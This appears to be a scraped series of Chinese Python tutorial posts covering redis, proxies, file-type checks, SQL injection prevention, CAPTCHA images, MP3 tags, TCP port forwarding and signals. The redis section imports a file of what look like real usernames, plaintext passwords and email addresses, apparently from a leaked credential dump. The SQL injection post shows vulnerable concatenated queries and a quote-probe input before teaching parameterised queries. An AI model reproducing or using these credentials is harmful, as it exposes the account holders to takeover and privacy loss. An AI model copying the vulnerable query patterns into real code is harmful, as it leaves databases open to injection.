-rw-r--r-- 1 root root     30 03-21 10:12 setuptools.pth

可以看到redis-2.7.2-py2.7.egg包已经成功安装

3.测试连接

[root@njdyw site-packages]#python2.7.3

Python 2.7.3 (default, Mar 21 2013, 10:06:48)

[GCC 4.1.2 20080704 (Red Hat 4.1.2-50)] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>>import redis

>>>redisClient=redis.StrictRedis(host='127.0.0.1',port=6379,db=0)

>>> redisClient.set('test_redis','Hello Python')

True

>>> value=redisClient.get('test_redis')

>>> print value

Hello Python

>>> redisClient.delete('test_redis')

True

>>> value=redisClient.get('test_redis')

>>> print value

None

>>> dir(redis)

['AuthenticationError', 'Connection', 'ConnectionError', 'ConnectionPool',
'DataError', 'InvalidResponse', 'PubSubError', 'Redis', 'RedisError',
'ResponseError', 'StrictRedis', 'UnixDomainSocketConnection', 'VERSION',
'WatchError', '__all__', '__builtins__', '__doc__', '__file__', '__loader__',
'__name__', '__package__', '__path__', '__version__', '_compat', 'client',
'connection', 'exceptions', 'from_url', 'utils']

>>> redisClient=redis.StrictRedis(host='127.0.0.1',port=6379,db=0)

>>> dir(redisClient)

['RESPONSE_CALLBACKS', '__class__', '__contains__', '__delattr__',
'__delitem__', '__dict__', '__doc__', '__format__', '__getattribute__',
'__getitem__', '__hash__', '__init__', '__module__', '__new__', '__reduce__',
'__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__',
'__str__', '__subclasshook__', '__weakref__', '_zaggregate', 'append',
'bgrewriteaof', 'bgsave', 'bitcount', 'bitop', 'blpop', 'brpop', 'brpoplpush',
'client_kill', 'client_list', 'config_get', 'config_set', 'connection_pool',
'dbsize', 'debug_object', 'decr', 'delete', 'echo', 'eval', 'evalsha',
'execute_command', 'exists', 'expire', 'expireat', 'flushall', 'flushdb',
'from_url', 'get', 'getbit', 'getrange', 'getset', 'hdel', 'hexists', 'hget',
'hgetall', 'hincrby', 'hincrbyfloat', 'hkeys', 'hlen', 'hmget', 'hmset',
'hset', 'hsetnx', 'hvals', 'incr', 'incrbyfloat', 'info', 'keys', 'lastsave',
'lindex', 'linsert', 'llen', 'lock', 'lpop', 'lpush', 'lpushx', 'lrange',
'lrem', 'lset', 'ltrim', 'mget', 'move', 'mset', 'msetnx', 'object',
'parse_response', 'persist', 'pexpire', 'pexpireat', 'ping', 'pipeline',
'pttl', 'publish', 'pubsub', 'randomkey', 'register_script', 'rename',
'renamenx', 'response_callbacks', 'rpop', 'rpoplpush', 'rpush', 'rpushx',
'sadd', 'save', 'scard', 'script_exists', 'script_flush', 'script_kill',
'script_load', 'sdiff', 'sdiffstore', 'set', 'set_response_callback',
'setbit', 'setex', 'setnx', 'setrange', 'shutdown', 'sinter', 'sinterstore',
'sismember', 'slaveof', 'smembers', 'smove', 'sort', 'spop', 'srandmember',
'srem', 'strlen', 'substr', 'sunion', 'sunionstore', 'time', 'transaction',
'ttl', 'type', 'unwatch', 'watch', 'zadd', 'zcard', 'zcount', 'zincrby',
'zinterstore', 'zrange', 'zrangebyscore', 'zrank', 'zrem', 'zremrangebyrank',
'zremrangebyscore', 'zrevrange', 'zrevrangebyscore', 'zrevrank', 'zscore',
'zunionstore']

>>>

4.测试实例：

(1).把文本数据导入到redis

\--导入的数据格式

[root@njdyw ~]#more data.txt

wolys # wolysopen111 # wolys@21cn.com

coralshanshan # 601601601 # zss1984@126.com

pengfeihuchao # woaidami # 294522652@qq.com

simulategirl # @#$9608125 # simulateboy@163.com

daisypp # 12345678 # zhoushigang_123@163.com

sirenxing424 # tfiloveyou # sirenxing424@126.com

raininglxy # 1901061139 # lixinyu23@qq.com

leochenlei # leichenlei # chenlei1201@gmail.com

z370433835 # lkp145566 # 370433835@qq.com

\--创建命令脚本

[root@njdyw ~]#cat imp_red.py

import redis

import re

pool = redis.ConnectionPool(host='127.0.0.1', port=6379)

r = redis.Redis(connection_pool=pool)

pipe = r.pipeline()

p=re.compile(r'(.*)\s#\s(.*)\s#\s(.*)');

pipe = r.pipeline()

f = open("data.txt")

matchs=p.findall(f.read())

for user in matchs:

  key='users_%s' %user[0].strip()

  pipe.hset(key,'pwd',user[1].strip()).hset(key,'email',user[2].strip())

pipe.execute()

f.close()

注意：要严格控制python脚本中的空格

\--执行脚本

[root@njdyw ~]# python2.7.3 imp_red.py

\--查看导入数据

[root@njdyw ~]#redis-cli

redis 127.0.0.1:6379> keys *

1) "users_xiaochuan2018"

2) "users_coralshanshan"

3) "users_xiazai200901"

4) "users_daisypp"

5) "users_boiny"

6) "users_raininglxy"

7) "users_fennal"

8) "users_abc654468252"

9) "users_babylovebooks"

10) "users_xl200811"

11) "users_baby19881018"

12) "users_darksoul0929"

13) "users_pengcfwxh"

14) "users_alex126126"

15) "users_jiongjiongmao"

16) "users_sirenxing424"

17) "users_mengjie007"

18) "users_cxx0409"

19) "users_candly8509"

20) "users_licaijun007"

21) "users_ai3Min2"

22) "users_bokil"

23) "users_z370433835"

24) "users_yiling1007"

25) "users_simulategirl"

26) "users_fxh852"

27) "users_baoautumn"

28) "users_huangdaqiao"

29) "users_q1718334567"

30) "users_xldq_l"

31) "users_beibeilong012"

32) "users_hudaoyin"

33) "users_yoyomika"

34) "users_jacksbalu"

35) "users_wolys"

36) "users_kangte1"

37) "users_demonhaodh"

38) "users_ysdz8"

39) "users_leochenlei"

40) "users_llx6888"

41) "users_pengfeihuchao"

redis 127.0.0.1:6379>

redis 127.0.0.1:6379>hget users_pengfeihuchao email

"294522652@qq.com"

redis 127.0.0.1:6379> hget users_llx6888 email

"linlixian200606@126.com"

Python爬虫使用代理proxy抓取网页

2018-01-01T00:00:00+08:00

# Python爬虫使用代理proxy抓取网页

代理类型（proxy）:透明代理 匿名代理 混淆代理和高匿代理. 这里写一些python爬虫使用代理的知识, 还有一个代理池的类.
方便大家应对工作中各种复杂的抓取问题。

### urllib 模块使用代理

urllib/urllib2使用代理比较麻烦, 需要先构建一个ProxyHandler的类,
随后将该类用于构建网页打开的opener的类,再在request中安装该opener.

代理格式是"http://127.0.0.1:80",如果要账号密码是"http://user:password@127.0.0.1:80".



    proxy="http://127.0.0.1:80"
    # 创建一个ProxyHandler对象
    proxy_support=urllib.request.ProxyHandler({'http':proxy})
    # 创建一个opener对象
    opener = urllib.request.build_opener(proxy_support)
    # 给request装载opener
    urllib.request.install_opener(opener)
    # 打开一个url
    r = urllib.request.urlopen('http://youtube.com',timeout = 500)

### requests 模块 使用代理

requests使用代理要比urllib简单多了…这里以单次代理为例. 多次的话可以用session一类构建.

如果需要使用代理，你可以通过为任意请求方法提供 proxies 参数来配置单个请求:



    import requests
    proxies = {
      "http": "http://127.0.0.1:3128",
      "https": "http://127.0.0.1:2080",
    }
    r=requests.get("http://youtube.com", proxies=proxies)
    print r.text

你也可以通过环境变量 HTTP_PROXY 和 HTTPS_PROXY 来配置代理。



    export HTTP_PROXY="http://127.0.0.1:3128"
    export HTTPS_PROXY="http://127.0.0.1:2080"
    python
    >>> import requests
    >>> r=requests.get("http://youtube.com")
    >>> print r.text

若你的代理需要使用HTTP Basic Auth，可以使用 http://user:password@host/ 语法:



    proxies = {
        "http": "http://user:pass@127.0.0.1:3128/",
    }



python的代理使用非常简单， 最重要的是要找一个网络稳定可靠的代理，有问题欢迎留言提问

Python判断上传文件类型

2018-01-01T00:00:00+08:00

# Python判断上传文件类型

在开发上传服务时，经常需要对上传的文件进行过滤。

本文为大家提供了python通过文件头判断文件类型的方法，非常实用。

代码如下



    import struct 
    # 支持文件类型 
    # 用16进制字符串的目的是可以知道文件头是多少字节 
    # 各种文件头的长度不一样，少半2字符，长则8字符 
    def typeList(): 
      return { 
        "52617221": EXT_RAR, 
        "504B0304": EXT_ZIP} 
     
    # 字节码转16进制字符串 
    def bytes2hex(bytes): 
      num = len(bytes) 
      hexstr = u"" 
      for i in range(num): 
        t = u"%x" % bytes[i] 
        if len(t) % 2: 
          hexstr += u"0" 
        hexstr += t 
      return hexstr.upper() 
     
    # 获取文件类型 
    def filetype(filename): 
      binfile = open(filename, 'rb') # 必需二制字读取 
      tl = typeList() 
      ftype = 'unknown' 
      for hcode in tl.keys(): 
        numOfBytes = len(hcode) / 2 # 需要读多少字节 
        binfile.seek(0) # 每次读取都要回到文件头，不然会一直往后读取 
        hbytes = struct.unpack_from("B"*numOfBytes, binfile.read(numOfBytes)) # 一个 "B"表示一个字节 
        f_hcode = bytes2hex(hbytes) 
        if f_hcode == hcode: 
          ftype = tl[hcode] 
          break
      #不要忘记关闭打开的文件，避免出现异常
      binfile.close() 
      return ftype
     
    if __name__ == '__main__': 
      print filetype('pythontab.jpg')



常见文件格式的文件头

文件格式 文件头(十六进制)

JPEG (jpg) FFD8FF

PNG (png) 89504E47

GIF (gif) 47494638

TIFF (tif) 49492A00

Windows Bitmap (bmp) 424D

CAD (dwg) 41433130

Adobe Photoshop (psd) 38425053

Rich Text Format (rtf) 7B5C727466

XML (xml) 3C3F786D6C

HTML (html) 68746D6C3E

Email [thorough only] (eml) 44656C69766572792D646174653A

Outlook Express (dbx) CFAD12FEC5FD746F

Outlook (pst) 2142444E

MS Word/Excel (xls.or.doc) D0CF11E0

MS Access (mdb) 5374616E64617264204A

Python如何防止sql注入

2018-01-01T00:00:00+08:00

# Python如何防止sql注入

## 前言

web漏洞之首莫过于sql了，不管使用哪种语言进行web后端开发，只要使用了关系型数据库，可能都会遇到sql注入攻击问题。那么在Python
web开发的过程中sql注入是怎么出现的呢，又是怎么去解决这个问题的？



当然，我这里并不想讨论其他语言是如何避免sql注入的，网上关于PHP防注入的各种方法都有，Python的方法其实类似，这里我就举例来说说。

## 起因

漏洞产生的原因最常见的就是字符串拼接了，当然，sql注入并不只是拼接一种情况，还有像宽字节注入，特殊字符转义等等很多种，这里就说说最常见的字符串拼接，这也是
初级程序员最容易犯的错误。



首先咱们定义一个类来处理mysql的操作




    class Database:
        hostname = '127.0.0.1'
        user = 'root'
        password = 'root'
        db = 'pythontab'
        charset = 'utf8'
        def __init__(self):
            self.connection = MySQLdb.connect(self.hostname, self.user, self.password, self.db, charset=self.charset)
            self.cursor = self.connection.cursor()
        def insert(self, query):
            try:
                self.cursor.execute(query)
                self.connection.commit()
            except Exception, e:
                print e
                self.connection.rollback()
        def query(self, query):
            cursor = self.connection.cursor(MySQLdb.cursors.DictCursor)
            cursor.execute(query)
            return cursor.fetchall()
        def __del__(self):
            self.connection.close()

这个类有问题吗？

答案是：有！



这个类是有缺陷的，很容易造成sql注入，下面就说说为何会产生sql注入。



为了验证问题的真实性，这里就写一个方法来调用上面的那个类里面的方法，如果出现错误会直接抛出异常。



    def test_query(testUrl):
        mysql = Database()
        try:
            querySql = "SELECT * FROM `article` WHERE url='" + testUrl + "'"
            chanels = mysql.query(querySql)
            return chanels
        except Exception, e:
            print e

这个方法非常简单，一个最常见的select查询语句，也使用了最简单的字符串拼接组成sql语句，很明显传入的参数 testUrl
可控，要想进行注入测试，只需要在testUrl的值后面加上单引号即可进行sql注入测试，这个不多说，肯定是存在注入漏洞的，脚本跑一遍，看啥结果



(1064, "You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near
''t.tips''' at line 1")

回显报错，很眼熟的错误，这里我传入的测试参数是

t.tips'

下面再说一种导致注入的情况，对上面的方法进行稍微修改后



    def test_query(testUrl):
        mysql = Database()
        try:
            querySql = ("SELECT * FROM `article` WHERE url='%s'" % testUrl)
            chanels = mysql.query(querySql)
            return chanels
        except Exception, e:
            print e

这个方法里面没有直接使用字符串拼接，而是使用了 %s
来代替要传入的参数，看起来是不是非常像预编译的sql？那这种写法能不能防止sql注入呢？测试一下便知道，回显如下

(1064, "You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near
''t.tips''' at line 1")

和上面的测试结果一样，所以这种方法也是不行的，而且这种方法并不是预编译sql语句，那么怎么做才能防止sql注入呢？

## 解决

两种方案



1> 对传入的参数进行编码转义



2> 使用Python的MySQLdb模块自带的方法



第一种方案其实在很多PHP的防注入方法里面都有，对特殊字符进行转义或者过滤。



第二种方案就是使用内部方法，类似于PHP里面的PDO，这里对上面的数据库类进行简单的修改即可。



修改后的代码



    class Database:
        hostname = '127.0.0.1'
        user = 'root'
        password = 'root'
        db = 'pythontab'
        charset = 'utf8'
        def __init__(self):
            self.connection = MySQLdb.connect(self.hostname, self.user, self.password, self.db, charset=self.charset)
            self.cursor = self.connection.cursor()
        def insert(self, query, params):
            try:
                self.cursor.execute(query, params)
                self.connection.commit()
            except Exception, e:
                print e
                self.connection.rollback()
        def query(self, query, params):
            cursor = self.connection.cursor(MySQLdb.cursors.DictCursor)
            cursor.execute(query, params)
            return cursor.fetchall()
        def __del__(self):
            self.connection.close()

这里 execute
执行的时候传入两个参数，第一个是参数化的sql语句，第二个是对应的实际的参数值，函数内部会对传入的参数值进行相应的处理防止sql注入，实际使用的方法如下



preUpdateSql = "UPDATE `article` SET title=%s,date=%s,mainbody=%s WHERE id=%s"

mysql.insert(preUpdateSql, [title, date, content, aid])

这样就可以防止sql注入，传入一个列表之后，MySQLdb模块内部会将列表序列化成一个元组，然后进行escape操作。

Python如何嵌入CC++进行开发

2018-01-01T00:00:00+08:00

# Python如何嵌入C/C++进行开发

如果你想把Python嵌入C/C++中是比较简单的事情，你需要的是在VC中添加Python的include文件目录和lib文件目录。下面我们来看下如何把Py
thon嵌入C/C++中。

VC6.0下，打开 tools->options->directories->show directories
for，将Python安装目录下的inlude目录添加到inlude files项中，将libs目录添加到library files项中。

VC2005下，打开tools->options->项目和解决方案->VC++目录，然后做相同工作。

代码如下：

在debug下执行出错，“无法找到python31_d.lib文件”，后查到原因是：在debug下生成必须要有python31_d.lib文件，否则只能在r
elease下生成



    #include <python.h> 
    int main()  
    {  
    Py_Initialize();  
    PyRun_SimpleString("Print 'hi, python!'");  
    Py_Finalize();  
    return 0;  
    }

Py_Initialize函数原型是：void Py_Initialize()

把Python嵌入C/C++中时必须使用该函数，它初始化Python解释器，在使用其他的Python/C
API之前必须先调用该函数。可以使用Py_IsInitialized函数判断是否初始化成功，成功返回True。

PyRun_SimpleString函数原型是int PyRun_SimpleString(const char
*command)，用来执行一段Python代码。

注意：是否需要维持语句间的缩进呢？

Py_Finalize函数原型是void Py_Finalize()，用于关闭Python解释器，释放解释器所占用的资源。

PyRun_SimpleFile函数可以用来运行".py"脚本文件，函数原型如下：

int PyRun_SimpleFile(FILE *fp, const char *filename);

其 中fp是打开的文件指针，filename是要运行的python脚本文件名。但是由于该函数官方发布的是由visual studio
2003.NET编译的，如果使用其他版本的编译器，FILE定义可能由于版本原因导致崩溃。同时，为简便起见可以使用如下方式来代替该函数：

PyRun_SimpleString("execfile(‘file.py’)"); //使用execfile来运行python文件

Py_BuildValue()用于对数字和字符串进行转换处理，变成Python中相应的数据类型（在C语言中，所有Python类型都被声明为PyObject类
型），函数原型如下：

PyObject *Py_BuildValue(const char *format, …..);

PyString_String()用于将PyObject*类型的变量转换成C语言可以处理的char*型，具体原型如下：

char* PyString_String(PyObject *p);

以上就是对如何把Python嵌入C/C++中相关的内容的介绍，如果有问题欢迎在下方留言。

Python设计模式之_外观模式_实例讲解

2018-01-01T00:00:00+08:00

# Python设计模式之"外观模式"实例讲解

Python中设计模式之外观模式主张以分多模块进行代码管理而减少耦合,下面用实例来进行说明。

应用特性：

在很多复杂而小功能需要调用需求时，而且这些调用往往还有一定相关性，即一调用就是一系列的。

结构特性：

把原本复杂而繁多的调用，规划统一到一个入口类中，从此只通过这一个入口调用就可以了。

代码结构示例：



    class ModuleOne(object):
      def Create(self):
        print 'create module one instance'
      def Delete(self):
        print 'delete module one instance'
    class ModuleTwo(object):
      def Create(self):
        print 'create module two instance'
      def Delete(self):
        print 'delete module two instance'
    class Facade(object):
      def __init__(self):
        self.module_one = ModuleOne()
        self.module_two = ModuleTwo()
      def create_module_one(self):
        self.module_one.Create()
      def create_module_two(self):
        self.module_two.Create()
      def create_both(self):
        self.module_one.Create()
        self.module_two.Create()
      def delete_module_one(self):
        self.module_one.Delete()
      def delete_module_two(self):
        self.module_two.Delete()
      def delete_both(self):
        self.module_one.Delete()
        self.module_two.Delete()



有点类似代理模式，不同之处是，外观模式不仅代理了一个子系统的各个模块的功能，同时站在子系统的角度，通过组合子系统各模块的功能，对外提供更加高层的接口，从而在
语义上更加满足子系统层面的需求。

随着系统功能的不断扩张，当需要将系统划分成多个子系统或子模块，以减少耦合、降低系统代码复杂度、提高可维护性时，代理模式通常会有用武之地。

再来看一个例子：



    class small_or_piece1: 
      def __init__(self): 
        pass 
       
      def do_small1(self): 
        print 'do small 1' 
       
    class small_or_piece_2: 
      def __init__(self): 
        pass 
       
      def do_small2(self): 
        print 'do small 2' 
       
    class small_or_piece_3: 
      def __init__(self): 
        pass 
       
      def do_small3(self): 
        print 'do small 3' 
     
    class outside: 
      def __init__(self): 
        self.__small1 = small_or_piece1() 
        self.__small2 = small_or_piece_2() 
        self.__small3 = small_or_piece_3() 
       
      def method1(self): 
        self.__small1.do_small1()  ##如果这里调用的不只2两函数，作用就显示出来了，可以把原本复杂的函数调用关系清楚化，统一化 
        self.__small2.do_small2() 
         
      def method2(self): 
        self.__small2.do_small2() 
        self.__small3.do_small3() 
     
    if __name__ == '__main__': 
      osd = outside() 
      osd.method1() 
      osd.method2()

结果：



    do small 1 
    do small 2 
    do small 2 
    do small 3

Python生成验证码实例讲解

2018-01-01T00:00:00+08:00

# Python生成验证码实例讲解

在web开发中经常用到验证码，为了防止机器人注册或者恶意登陆和查询等，作用不容小觑

但是验证码其实不是一个函数就能搞定的，它需要生成图片和水印，其实每种语言都有相关的函数生成图片和文字水印。包括我熟悉的php，呵呵，今天主要来分享如何用py
thon生成验证码。

python生成验证码主要用到如下模块：Image, ImageDraw, ImageFont, ImageFilter和随机数生成模块Random。

代码如下：



    #!/usr/bin/env python
    #coding=utf-8
    import random
    import Image, ImageDraw, ImageFont, ImageFilter

    _letter_cases = "abcdefghjkmnpqrstuvwxy" # 小写字母，去除可能干扰的i，l，o，z
    _upper_cases = _letter_cases.upper() # 大写字母
    _numbers = ''.join(map(str, range(3, 10))) # 数字
    init_chars = ''.join((_letter_cases, _upper_cases, _numbers))
    fontType="/usr/share/fonts/truetype/freefont/FreeSans.ttf"

    def create_validate_code(size=(120, 30),
                                 chars=init_chars,
                                 img_type="GIF",
                                 mode="RGB",
                                 bg_color=(255, 255, 255),
                                 fg_color=(0, 0, 255),
                                 font_size=18,
                                 font_type=fontType,
                                 length=4,
                                 draw_lines=True,
                                 n_line=(1, 2),
                                 draw_points=True,
                                 point_chance = 2):
      '''
      @todo: 生成验证码图片
      @param size: 图片的大小，格式（宽，高），默认为(120, 30)
      @param chars: 允许的字符集合，格式字符串
      @param img_type: 图片保存的格式，默认为GIF，可选的为GIF，JPEG，TIFF，PNG
      @param mode: 图片模式，默认为RGB
      @param bg_color: 背景颜色，默认为白色
      @param fg_color: 前景色，验证码字符颜色，默认为蓝色#0000FF
      @param font_size: 验证码字体大小
      @param font_type: 验证码字体，默认为 ae_AlArabiya.ttf
      @param length: 验证码字符个数
      @param draw_lines: 是否划干扰线
      @param n_lines: 干扰线的条数范围，格式元组，默认为(1, 2)，只有draw_lines为True时有效
      @param draw_points: 是否画干扰点
      @param point_chance: 干扰点出现的概率，大小范围[0, 100]
      @return: [0]: PIL Image实例
      @return: [1]: 验证码图片中的字符串
      '''

      width, height = size # 宽， 高
      img = Image.new(mode, size, bg_color) # 创建图形
      draw = ImageDraw.Draw(img) # 创建画笔
      if draw_lines:
        create_lines(draw,n_line,width,height)
      if draw_points:
        create_points(draw,point_chance,width,height)
      strs = create_strs(draw,chars,length,font_type, font_size,width,height,fg_color)

      # 图形扭曲参数
      params = [1 - float(random.randint(1, 2)) / 100,
                0,
                0,
                0,
                1 - float(random.randint(1, 10)) / 100,
                float(random.randint(1, 2)) / 500,
                0.001,
                float(random.randint(1, 2)) / 500
                ]
      img = img.transform(size, Image.PERSPECTIVE, params) # 创建扭曲

      img = img.filter(ImageFilter.EDGE_ENHANCE_MORE) # 滤镜，边界加强（阈值更大）

      return img, strs


    def create_lines(draw,n_line,width,height):
      '''绘制干扰线'''
      line_num = random.randint(n_line[0],n_line[1]) # 干扰线条数
      for i in range(line_num):
        # 起始点
        begin = (random.randint(0, width), random.randint(0, height))
        #结束点
        end = (random.randint(0, width), random.randint(0, height))
        draw.line([begin, end], fill=(0, 0, 0))

    def create_points(draw,point_chance,width,height):
      '''绘制干扰点'''
      chance = min(100, max(0, int(point_chance))) # 大小限制在[0, 100]

      for w in xrange(width):
        for h in xrange(height):
          tmp = random.randint(0, 100)
          if tmp > 100 - chance:
            draw.point((w, h), fill=(0, 0, 0))

    def create_strs(draw,chars,length,font_type, font_size,width,height,fg_color):
      '''绘制验证码字符'''
      '''生成给定长度的字符串，返回列表格式'''
      c_chars = random.sample(chars, length)
      strs = ' %s ' % ' '.join(c_chars) # 每个字符前后以空格隔开

      font = ImageFont.truetype(font_type, font_size)
      font_width, font_height = font.getsize(strs)

      draw.text(((width - font_width) / 3, (height - font_height) / 3),strs, font=font, fill=fg_color)

      return ''.join(c_chars)


    if __name__ == "__main__":
        code_img = create_validate_code()
        code_img[0].save("validate.gif", "GIF")
        print code_img[1]

Python实例获取mp3文件的tag信息

2018-01-01T00:00:00+08:00

# Python实例获取mp3文件的tag信息

下面利用一个python的实例程序，来学习python。这个程序的目的就是分析出所有MP3文件的Tag信息并输出。



    import os # 导入os模块，提供文件路径，列出文件等方法
    import sys # 导入sys模块，使用sys.modules获取模块中的所有内容，类似反射的功能
    from UserDict import UserDict # 这个表示从UserDict类中导入UserDict，类似于Java中的 import UserDict.UserDict
     
    def stripnulls(data):
        "一个空字符串的处理函数将所有00字节的内容替换为空字符，病将前后的空字符串去掉"
        # Python中的strip用于去除字符串的首尾字符，同理，lstrip用于去除左边的字符，rstrip用于去除右边的字符。
        return data.replace("\00", "").strip()
     
    class FileInfo(UserDict):
        '''文件基类，存储文件的文件名，继承自UserDict（存储key-value的一个类，可以重写__setitem__，__getitem__方法，
        就可以使用[]）'''
        # self是定义时使用，使用时不需要，如果没有参数，则filename默认None，如果有一个参数的话，参数即为filename
        def __init__(self, filename=None):
            UserDict.__init__(self) # 初始化父类
            self["name"] = filename # 设置name为 filaname
     
    class MP3FileInfo(FileInfo):
        "MP3文件的信息类，用于分析MP3文件和存储信息"
        # tagDataMap 用于存储MP3的Tag信息分别所在位置，( key ： 开始位置，结束位置， 处理函数),
        # stripnulls表示最开始定义的函数
        tagDataMap = {"title" : ( 3, 33, stripnulls),
        "artist" : ( 33, 63, stripnulls),
        "album" : ( 63, 93, stripnulls),
        "year" : ( 93, 97, stripnulls),
        "comment" : ( 97, 126, stripnulls),
        "genre" : (127, 128, ord)}
         
        def __parse(self, filename): # 解析MP3文件
            self.clear()
            try:
                fsock = open(filename, "rb", 0) # 打开文件
                try:
                    # 设置文件读取的指针位置， seek第二个参数，2表示从文件结尾作为参考点，
                    # -128表示还有128字节结尾的点，0表示文件开头做参考点，1表示当前位置做参考点
                    fsock.seek(-128, 2)
                    tagdata = fsock.read(128) # 读取128字节的数据
                finally:
                    fsock.close() # 关闭文件，注意在finally中，出错也需要关闭文件句柄
                if tagdata[:3] == "TAG": # 判断是否是有效的含Tag的MP3文件
                    # 循环取出Tag信息位置信息， 如3, 33, stripnulls，并依次赋给start, end, parseFunc
                    for tag, (start, end, parseFunc) in self.tagDataMap.items():
                        # tagdata[start:end]读出start到end的字节，使用parseFunc处理这些内容
                        self[tag] = parseFunc(tagdata[start:end])
            except IOError: # 如果出现IOError，则跳过继续
                pass
         
        # 重写__setitem__方法，上面的self[tag] = parseFunc(tagdata[start:end])就会使用这个方法,
        # key为tag，itme为parseFunc(tagdata[start:end])
        def __setitem__(self, key, item):
            if key == "name" and item: # 如果key是 name，并且 item不为空
                self.__parse(item) # 解析MP3文件
                # problem here,should out of the if
                # FileInfo.__setitem__(self, key, item) 如果使用这个缩进就会出现错误
            # 之前的错误点，注意这儿的缩进，无论如何都会存储key-value，使用FileInfo.__setitem__父类的方法来存储
            FileInfo.__setitem__(self, key, item)
                 
    def listDirectory(directory, fileExtList):
        "获取directory目录下的所有fileExtList格式的文件，fileExtList是一个列表，可以有多种格式"
        fileList = [os.path.normcase(f)
            for f in os.listdir(directory)] # 列出所有 directory的文件
        fileList = [os.path.join(directory, f)
            for f in fileList
            # 过滤文件，满足fileExtList内的一种格式。os.path.splitext将文件分成文件名和扩展名
            if os.path.splitext(f)[1] in fileExtList]
             
        # sys.modules[FileInfo.__module__] 获取FileInfo.__module__模块，其中FileInfo.__module__在此会是 main，
        # 如果被别的模块调用的话就不是了，这是为什么不直接用“main”
        def getFileInfoClass(filename, module=sys.modules[FileInfo.__module__]):
            "定义一个函数，获取文件的信息"
             # 获取需要用来解析的类，如果是mp3文件结果为MP3FileInfo,其他为FileInfo
            subclass = "%sFileInfo" % os.path.splitext(filename)[1].upper()[1:]
            # 返回一个类，注意，返回的是一个“类”。使用getattr获取moudle模块中的subclass类
            return hasattr(module, subclass) and getattr(module, subclass) or FileInfo
        # 注意，这句话可能比较难理解， getFileInfoClass(f) (f)为什么会有两个(f)呢，上面已经说过getFileInfoClass(f)
        # 根据文件名返回一个解析类，这儿是返回就是MP3FileInfo,而第二个(f)就表示对这个类以f初始化MP3FileInfo(f)
        return [getFileInfoClass(f) (f) for f in fileList]
     
    if __name__ == "__main__": # main函数，在别的模块中不会允许这里面的代码了
        for info in listDirectory("E:\\Music", [".mp3"]): # 循环获取E:\\Music文件夹中所有的mp3文件的信息
            # 由于MP3FileInfo继承自FileInfo,FileInfo继承自UserDict,这个的items()就是获取key-value集合。
            # 使用"%s=%s"格式化输出，使用"\n".join将所有信息以换行连接。
            print "\n".join(["%s=%s" % (k, v) for k, v in info.items()])
            print # 每一个文件之后，输出一个空行

结果为：

album=What Are Words - Single

comment=pythontab

name=E:\Music\chris medina - what_are_words.mp3

title=What Are Words

artist=Chris Medina

year=2011

genre=13



album=After the Wedding

comment=pythontab

name=E:\Music\two fathers.mp3

title=Two Fathers

artist=pythontab

year=2010

genre=255



注意：逻辑比较多，代码不算少，不懂的多看注释

Python实现TCPIP协议下的端口转发及重定向示例

2018-01-01T00:00:00+08:00

# Python实现TCP/IP协议下的端口转发及重定向示例

首先，我们用webpy写一个简单的网站，监听8080端口，返回“Hello, EverET.org”的页面。

然后我们使用我们的forwarding.py，在80端口和8080端口中间建立两条通信管道用于双向通信。

此时，我们通过80端口访问我们的服务器。

浏览器得到：

![](http://www.pythontab.com/uploadfile/2016/0615/20160615075451348.png)

然后，我们在forwarding.py的输出结果中可以看到浏览器和webpy之间的通信内容。

![](http://www.pythontab.com/uploadfile/2016/0615/20160615075452819.png)





代码：



    #!/usr/bin/env python
    import sys, socket, time, threading
    loglock = threading.Lock()
    def log(msg):
      loglock.acquire()
      try:
        print '[%s]: \n%s\n' % (time.ctime(), msg.strip())
        sys.stdout.flush()
      finally:
        loglock.release()
    class PipeThread(threading.Thread):
      def __init__(self, source, target):
        threading.Thread.__init__(self)
        self.source = source
        self.target = target
      def run(self):
        while True:
          try:
            data = self.source.recv(1024)
            log(data)
            if not data: break
            self.target.send(data)
          except:
            break
        log('PipeThread done')
    class Forwarding(threading.Thread):
      def __init__(self, port, targethost, targetport):
        threading.Thread.__init__(self)
        self.targethost = targethost
        self.targetport = targetport
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind(('0.0.0.0', port))
        self.sock.listen(10)
      def run(self):
        while True:
          client_fd, client_addr = self.sock.accept()
          target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          target_fd.connect((self.targethost, self.targetport))
          log('new connect')
          # two direct pipe
          PipeThread(target_fd, client_fd).start()
          PipeThread(client_fd, target_fd).start()
    if __name__ == '__main__':
      print 'Starting'
      import sys
      try:
        port = int(sys.argv[1])
        targethost = sys.argv[2]
        try: targetport = int(sys.argv[3])
        except IndexError: targetport = port
      except (ValueError, IndexError):
        print 'Usage: %s port targethost [targetport]' % sys.argv[0]
        sys.exit(1)
      #sys.stdout = open('forwaring.log', 'w')
      Forwarding(port, targethost, targetport).start()

Python使用signal模块实现定时执行

2018-01-01T00:00:00+08:00

# Python使用signal模块实现定时执行

在liunx系统中要想每隔一分钟执行一个命令，最普遍的方法就是crontab了，如果不想使用crontab，经同事指点在程序中可以用定时器实现这种功能，于是
就开始摸索了，发现需要一些信号的知识...

查看你的linux支持哪些信号：kill -l 即可



    root@server:~# kill -l
     1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
     6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
    11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
    16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
    21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
    26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
    31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
    38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
    43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
    48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
